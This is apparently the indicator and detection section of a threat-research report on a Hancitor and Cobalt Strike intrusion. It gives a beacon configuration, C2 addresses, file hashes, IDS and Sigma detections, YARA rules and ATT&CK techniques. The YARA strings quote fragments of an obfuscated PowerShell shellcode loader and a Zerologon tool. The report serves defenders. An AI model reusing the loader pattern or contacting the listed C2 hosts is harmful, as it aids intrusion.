    "sha256": "e7bd2a34e133586d7cfc3c38aab191d8d93c5029058fdc59c0868ad79ac5c3b7",
    "config": {
      "Method 1": "GET",
      "Spawn To x64": "%windir%\\sysnative\\rundll32.exe",
      "C2 Server": "207.148.23.64,/fwlink",
      "Method 2": "POST",
      "Jitter": 0,
      "Spawn To x86": "%windir%\\syswow64\\rundll32.exe",
      "HTTP Method Path 2": "/submit.php",
      "Beacon Type": "0 (HTTP)",
      "Polling": 60000,
      "Port": 80
    },
    "md5": "cc37829b6bfd8b4f4f0aa7f1b2632831",
    "time": 1626347231021.8,
    "sha1": "7a5dd6d163f2d864593e8441a26ed16c610ded52"
 }
}
```

Impact

Similar to a <u>previous case</u>, the threat actors were evicted before completing their mission and as a result their final actions could not be observed.

IOCs

Network

Hancitor 194.147.78.155:80 | http://wortlybeentax[.]com/8/forum.php 8.211.241.0:80 | 4a5ikol[.]ru (Used to download Cobalt Strike stagers and FickerStealer) Cobalt Strike 190.114.254.116:80 Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727) Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; MANM; MANM) 207.148.23.64:443 207.148.23.64:443 207.148.23.64:80 Other - Agent1.ps1 64.235.39.32:80 Curl/7.55.1

agent1.ps1 9345151bd8c977c4c9b066533e3eae3d 183959133bd80291d9304268fcf5f1db35992617 94dcca901155119edfcee23a50eca557a0c6cbe12056d726e9f67e3a0cd13d51 check.exe c47372b368c0039a9085e2ed437ec720 4f6ee84f59984ff11147bfff67ab6e40cd7c8525 c443df1ddf8fd8a47af6fbfd0b597c4eb30d82efd1941692ba9bb9c4d6874e14 comp2.ps1 72801f33f0b796b8c08db67c74bce1b0 81ecbf9b90d2b6bf4ed27702fe1c7f5a5fdcc580 0282776d5dd6e1b3dd709d5dea521a59ce3e02eecb2f03e4541122be38ae4fe9 cor.bat c9d041e6b2f435588b8fb50e7c9494ec 4a3631e563b3c2f664deedc43c0ae324cd91891b 9aa6f19399468d6fec59de6e3b7e590fe5ab44a81a752dbc51c54c14cad02080 cor.dll 41b2a0e15c3f0ac07e727a9ef9cd3850 29c7286ef030de9f2b4fb272de2bff478cab16d3 2a892e0af16ba5cdbacc1c6ee2a71d107c1da1cb295236c1eb6acbe17cd93b1b GAS.bat 8f077efd70793bfbfd6eb645117cb793 2c0365b36be580f7d4ea8901daed62040fd867f3 3655a934e6da8774d74fce815f9648c0d81f0bb609435d1017dcea01dc5e5529 GAS.exe eb272d2218d7cea004008b6d95baae95 ff9f7def24f5a8f8aa2c9c9e23c4c31cc9f75a57 be13b8457e7d7b3838788098a8c2b05f78506aa985e0319b588f01c39ca91844 zero.exe 25a089f2082a5fcb0f4c1a12724a5521 8a06c836c05537fcd8c600141073132d28e1172d 3a8b7c1fe9bd9451c0a51e4122605efc98e7e4e13ed117139a13e4749e211ed0 0714_5835152731.doc 52a97348ac3116ab31c189702d7dd38e c9e932e3ad0faadea6cd3e8f48d2dbc98b2ac23d fbf1586ebb9a028aef6c2fac79f7ef1bd20bee3e839b23e825c9265e8d2fd24f

Detections

Network

ET MALWARE Cobalt Strike Beacon Observed ET HUNTING GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1 ET POLICY External IP Lookup api.ipify.org ET INFO Packed Executable Download ET POLICY curl User-Agent Outbound

```
Binary Defense - alert tcp any any -> any $HTTP_PORTS (msg:"Possible Hancitor
Checkin"; flow:established,to_server; content:"POST"; http_method;content:"GUID=";
http_client_body; content:"&BUILD="; http_client_body; content:"&INFO=";
http_client_body; content:"&EXT="; http_client_body; content:"&IP=";
http_client_body; content:"&WIN="; http_client_body; reference:md5,
3c3a9a00b60c85c507ece4b4025d0f72; classtype:trojan-activity; sid:210611; rev:1;)
```

Sigma

Recon Activity with NLTEST

Rundll32 Internet Connection

Reconnaissance Activity with Net Command

Suspicious Reconnaissance Activity

sysmon_suspicious_remote_thread

sysmon_cobaltstrike_service_installs

win_shell_spawn_susp_program

win_remote_service

win_vul_cve_2020_1472

win_possible_zerologon_exploitation_using_wellknown_tools

Yara

```
/*
  YARA Rule Set
  Author: The DFIR Report
  Date: 2021-10-31
  Identifier: 5295 Hancitor
  Reference: https://thedfirreport.com
*/
/* Rule Set ------ */
rule ___case_5295_1407 {
  meta:
     description = "5295 - file 1407.bin"
     author = "The DFIR Report"
     reference = "https://thedfirreport.com"
     date = "2021-08-12"
     hash1 = "45910874dfe1a9c3c2306dd30ce922c46985f3b37a44cb14064a963e1244a726"
  strings:
     $s1 = "zG<<&Sa" fullword ascii</pre>
     $s2 = "[email protected]" fullword ascii
     $s3 = "DTjt{R" fullword ascii
  condition:
     uint16(0) == 0xa880 and filesize < 2KB and
     all of them
}
rule _case_5295_sig_7jkio8943wk {
  meta:
     description = "5295 - file 7jkio8943wk.exe"
     author = "The DFIR Report"
     reference = "https://thedfirreport.com"
     date = "2021-08-12"
     hash1 = "dee4bb7d46bbbec6c01dc41349cb8826b27be9a0dcf39816ca8bd6e0a39c2019"
  strings:
     $s1 = " (os error other os erroroperation interruptedwrite zerotimed outinvalid
datainvalid input parameteroperation would blockentity " ascii
     $s2 = "already existsbroken pipeaddress not availableaddress in usenot
connectedconnection abortedconnection resetconnection refusedper" ascii
     $s3 = " VirtualQuery failed for %d bytes at address %p" fullword ascii
     $s4 =
"UnexpectedEofNotFoundPermissionDeniedConnectionRefusedConnectionResetConnectionAborte
ascii
     $s5 =
"nPipeAlreadyExistsWouldBlockInvalidInputInvalidDataTimedOutWriteZeroInterruptedOtherN
fullword ascii
     $s6 = "failed to fill whole buffercould not resolve to any addresses" fullword
ascii
     $s7 = " (os error other os erroroperation interruptedwrite zerotimed outinvalid
datainvalid input parameteroperation would blockentity " ascii
     $s8 = "mission deniedentity not foundunexpected end of
```

```
fileGetSystemTimePreciseAsFileTime" fullword ascii
      $s9 = "invalid socket addressinvalid port valuestrings passed to WinAPI cannot
contain NULsinvalid utf-8: corrupt contentsinvalid utf-8" ascii
      $s10 = "invalid socket addressinvalid port valuestrings passed to WinAPI cannot
contain NULsinvalid utf-8: corrupt contentsinvalid utf-8" ascii
      $s11 = "\\data provided contains a nul
byteSleepConditionVariableSRWkernel32ReleaseSRWLockExclusiveAcquireSRWLockExclusive"
fullword ascii
      $s12 = "fatal runtime error: " fullword ascii
      $s13 = "assertion failed: key != 0WakeConditionVariable" fullword ascii
      $s14 = "kindmessage" fullword ascii
      $s15 =
"0x00010203040506070809101112131415161718192021222324252627282930313233343536373839404\\
 ascii
      $s16 = "..\\\\?\\.\\UNC\\Windows stdio in console mode does not support writing
non-UTF-8 byte sequences" fullword ascii
      $s17 = "OS Error (FormatMessageW() returned invalid UTF-16) (FormatMessageW()
returned error )formatter error" fullword ascii
      $s18 = "FromUtf8Errorbytes" fullword ascii
      $s19 = " VirtualProtect failed with code 0x%x" fullword ascii
      $s20 = "invalid utf-8 sequence of bytes from index incomplete utf-8 byte
sequence from index " fullword ascii
  condition:
      uint16(0) == 0x5a4d and filesize < 800KB and
      8 of them
}
rule ___case_5295_check {
  meta:
      description = "5295 - file check.exe"
      author = "The DFIR Report"
      reference = "https://thedfirreport.com"
      date = "2021-08-12"
      hash1 = "c443df1ddf8fd8a47af6fbfd0b597c4eb30d82efd1941692ba9bb9c4d6874e14"
   strings:
      $s1 = "AppPolicyGetProcessTerminationMethod" fullword ascii
      $s2 = "F:\\Source\\WorkNew18\\CheckOnline\\Release\\CheckOnline.pdb" fullword
ascii
      $s3 = "
                     <requestedExecutionLevel level='asInvoker' uiAccess='false' />"
fullword ascii
      $s4 = " Type Descriptor'" fullword ascii
      $s5 = "operator co_await" fullword ascii
      $s6 = "operator<=>" fullword ascii
      $s7 = ".data$rs" fullword ascii
      $s8 = "File opening error: " fullword ascii
      $$9 = " <trustInfo xmlns=\"urn:schemas-microsoft-com:asm.v3\">" fullword ascii
      $s10 = ":0:8:L:\\:h:" fullword ascii
      $s11 = "api-ms-win-appmodel-runtime-l1-1-2" fullword wide
      $s12 = " Base Class Descriptor at (" fullword ascii
      $s13 = " Class Hierarchy Descriptor'" fullword ascii
      $s14 = " Complete Object Locator'" fullword ascii
      $s15 = "network reset" fullword ascii /* Goodware String - occured 567 times */
      $s16 = "connection already in progress" fullword ascii /* Goodware String -
occured 567 times */
```

```
$s17 = "wrong protocol type" fullword ascii /* Goodware String - occured 567
times */
     $s18 = "network down" fullword ascii /* Goodware String - occured 567 times */
      $s19 = "owner dead" fullword ascii /* Goodware String - occured 567 times */
      $s20 = "protocol not supported" fullword ascii /* Goodware String - occured 568
times */
  condition:
      uint16(0) == 0x5a4d and filesize < 500KB and
      all of them
}
rule ___case_5295_zero {
  meta:
      description = "5295 - file zero.exe"
      author = "The DFIR Report"
      reference = "https://thedfirreport.com"
      date = "2021-08-12"
      hash1 = "3a8b7c1fe9bd9451c0a51e4122605efc98e7e4e13ed117139a13e4749e211ed0"
   strings:
      $x1 = "powershell.exe -c Reset-ComputerMachinePassword" fullword wide
      $s2 = "COMMAND - command that will be executed on domain controller. should be
surrounded by quotes" fullword ascii
      $s3 = "ZERO.EXE IP DC DOMAIN ADMIN_USERNAME [-c] COMMAND :" fullword ascii
      $s4 = "-c - optional, use it when command is not binary executable itself"
fullword ascii
      $s5 = "curity><requestedPrivileges><requestedExecutionLevel level=\"asInvoker\"</pre>
uiAccess=\"false\"></requestedExecutionLevel></requeste" ascii
      $s6 = "C:\\p\\Release\\zero.pdb" fullword ascii
      $s7 = "+command executed" fullword ascii
      $s8 = "COMMAND - %ws" fullword ascii
      $s9 = "rpc_drsr_ProcessGetNCChangesReply" fullword wide
      $s10 = "ZERO.EXE -test IP DC" fullword ascii
      $s11 = "to test if the target is vulnurable only" fullword ascii
      $s12 = "IP - ip address of domain controller" fullword ascii
      $s13 = "ADMIN_USERNAME - %ws" fullword ascii
      $s14 = "error while parsing commandline. no command is found" fullword ascii
      $s15 = "rpcbindingsetauthinfo fail" fullword ascii
      $s16 = "x** SAM ACCOUNT **" fullword wide
      $s17 = "%COMSPEC% /C " fullword wide
      $s18 = "EXECUTED SUCCESSFULLY" fullword ascii
      $s19 = "TARGET IS VULNURABLE" fullword ascii
      $s20 = "have no admin rights on target, exiting" fullword ascii
  condition:
      uint16(0) == 0x5a4d and filesize < 500KB and
      1 of ($x*) and 4 of them
}
rule __case_5295_GAS {
  meta:
      description = "5295 - file GAS.exe"
      author = "The DFIR Report"
      reference = "https://thedfirreport.com"
      date = "2021-08-12"
```

```
hash1 = "be13b8457e7d7b3838788098a8c2b05f78506aa985e0319b588f01c39ca91844"
   strings:
      $s1 = "A privileged instruction was executed at address 0x00000000." fullword
ascii
     $s2 = "Stack dump (SS:ESP)" fullword ascii
      $s3 = "!This is a Windows NT windowed executable" fullword ascii
      $s4 = "An illegal instruction was executed at address 0x00000000." fullword
ascii
     $s5 = "ff.exe" fullword wide
      $s6 = "Open Watcom C/C++32 Run-Time system. Portions Copyright (C) Sybase, Inc.
1988-2002." fullword ascii
      $s7 = "openwatcom.org" fullword wide
      $s8 = "Open Watcom Dialog Editor" fullword wide
      $s9 = "A stack overflow was encountered at address 0x00000000." fullword ascii
      $s10 = "A fatal error is occured" fullword ascii
      $s11 = "An integer divide by zero was encountered at address 0x00000000."
fullword ascii
      $s12 = "address 0x00000000 and" fullword ascii
      $s13 = "Open Watcom" fullword wide
      $s14 = "The instruction at 0x00000000 caused an invalid operation floating
point" fullword ascii
      $s15 = "The instruction at 0x00000000 caused a denormal operand floating point"
fullword ascii
      $s16 = "`.idata" fullword ascii /* Goodware String - occured 1 times */
      $s17 = "xsJr~.~" fullword ascii
      $s18 = "iJJW3We" fullword ascii
      $s19 = "Rmih_0|" fullword ascii
      $s20 = "The instruction at 0x00000000 referenced memory " fullword ascii
  condition:
      uint16(0) == 0x5a4d and filesize < 200KB and
      8 of them
}
rule ___case_5295_agent1 {
  meta:
      description = "5295 - file agent1.ps1"
      author = "The DFIR Report"
      reference = "https://thedfirreport.com"
      date = "2021-08-12"
      hash1 = "94dcca901155119edfcee23a50eca557a0c6cbe12056d726e9f67e3a0cd13d51"
   strings:
      $s1 = "[Byte[]]$oBUEFlUjsZVVaEBHhsKWa = [System.Convert]::FromBase64String((-
join($qDAqdPFzzxqYnLNNHSSMR,'zzkKItFCIsIUejI/P//q8QMi1UIiU" ascii
      s_{s2} =
"ap0cq0wB7hW5z/y0lqICYNrdwqfvCvWSqWbfs/NWgxfvurRRLs7xIQrzXCCgwqMnhB154e8iubTSzAhliQfIF
ascii
      $s3 = "[Runtime.InteropServices.Marshal]::Copy($oBUEF1UjsZVVaEBHhsKWa,(2372 -
2372),$CjHxQlvEzGUrZUarFZbrz,$oBUEFlUjsZVVaEBHhsKWa.Lengt" ascii
      $s4 = "[Runtime.InteropServices.Marshal]::Copy($oBUEFlUjsZVVaEBHhsKWa,(2372 -
2372), $CjHxQlvEzGUrZUarFZbrz, $oBUEFlUjsZVVaEBHhsKWa.Lengt" ascii
      $s5 =
"zSEEdr8FnfXshvas01lodzp/T9fIQLBuz5baYtW7iK9lRAYZYDdQrnvpxmxJ0xjuabTq5nBEWzTQSZaXmNRB2
 ascii
      $s6 =
```

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"eQvmMAIAnreX2We510WxYt5ykA3Z9w9FN3hFaSuBjn2u6kw0DP+r2Wv2ruryjIa0nyZxqwUCBotpX5U/k9jDs ascii \$s7 = "3H2+0+/8sPyM9FWRrXU0/9a4LwBKmuv8Qsh/50l6VnyQGICZ8PuITwqJxzV37f/NZJqTrvQa70A0mf6hKrjuU ascii \$s8 = "sQroZ/z//wNF8BNV9IlF8IlV9ItF8ItV9LEG6G78//8zRfAzVfSJRfCJVfTpdP///4tF8ItV9LED6DD8//8DF ascii s9 ="a2cxwtfBqoUe4/erpeTB7XIYMFFtX23EEnTdPQbUXCd509j5mAeVZpRNWF9tvvy2+qlNieD1WlTj2fUZaiYPr ascii \$s10 = "j+XqDEzWEbsdht2FdZc1j2/fJoIuqVtps/bH7uP1dq8FA6+GVzpw0UN42KqXL9sMYAnJRJj6qpW7oZ1fGv4b+ ascii \$s11 = "ZQ0NlAxyJeQHigm9NZr4Xjh9V25TXa0vWwb/yXI+IL59EdsKDkehBeuasslnEdfgAq7j+mEp0C70K+oeKHZwH ascii \$s12 = "T/vbRvTMv6ePKo0S5EUjzggjY7QZsueNgGEt1KTiP5R9z0nabhD20lmwcjl6vSapoMgKyS570gv0rZHShi+Xw ascii \$s13 = "\$vpFhaWLTcsr0HCQLzsEzN = 'mbFPGDtpJicxXcdFG/Ydmz4dHGi5llA0tRmH2WwVJpYbsfxCiAfFy0kckQnw6EeyeH40K0H6hmZ/H4KpB3tbT ascii \$s14 = "\$nkRLOujTuMsDDaMxkgFbp = [OkwgNsSnFFEmvLpdsdISG]::CreateThread((\$ZCHhKqfmmzVFPUqdkjqZk),(-6012 + 6012), \$CjHxQlvEzGUrZUarFZbrz, (3" ascii \$\$15 ="quQh6vh+8CQH0jfK/YMdwFr1UGqkMdLfobM5WYeyHvTezZttJ+hfHIT795hhejCINf/0AzPrunDuwun7kZ2ue ascii \$s16 = "+SvFBrG7BgR5cmdbbRuoy7ewt2CJgeJXmYVV3b1tf+Rw1xb1P6vNtyobWpXNYfVu9TAVUcxKXQxo0Tum5J4g6 ascii \$s17 = " [DllImport(\"kernel32.dll\")]" fullword ascii \$\$18 ="/v0KltMpb69/8jsWR23PkNuPrK3FXehCwqN1FYNCGR+tbLJ4oEzVw/s0oCrrK91sAjUs1yNKhJXRjJ4Td/AAE ascii \$s19 = "\$wLHiDWZiDeApQYLEVCjxX = (([regex]::Matches('gisBjSUmAFJ0IqAT3R+byDBdA3K6vHNI//aNbyh+ZYFOREbwR+QFlG030UlMZ04EkF ascii s20 ="M9KA4R/T6MMzwDPSw8xVi+yD7AiLRQiJRfiLTRCJTfyLVRCD6qGJVRCDffwAdB6LRQiLTQyKEYqQi0UIq8ABi ascii condition: uint16(0) == 0x6441 and filesize < 100KB and 8 of them }

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- Phishing T1566
- Web Protocols T1071.001
- User Execution T1204
- Process Injection T1055
- Remote System Discovery T1018

- Exploitation for Privilege Escalation T1068
- Service Execution T1569.002
- Network Share Discovery T1135
- Obfuscated Files or Information T1027
- Domain Trust Discovery T1482
- Domain Groups T1069.002
- System Time Discovery T1124
- Lateral Tool Transfer T1570
- PowerShell T1059.001
- Windows Command Shell T1059.003
- Malicious File T1204.002

Internal case #5295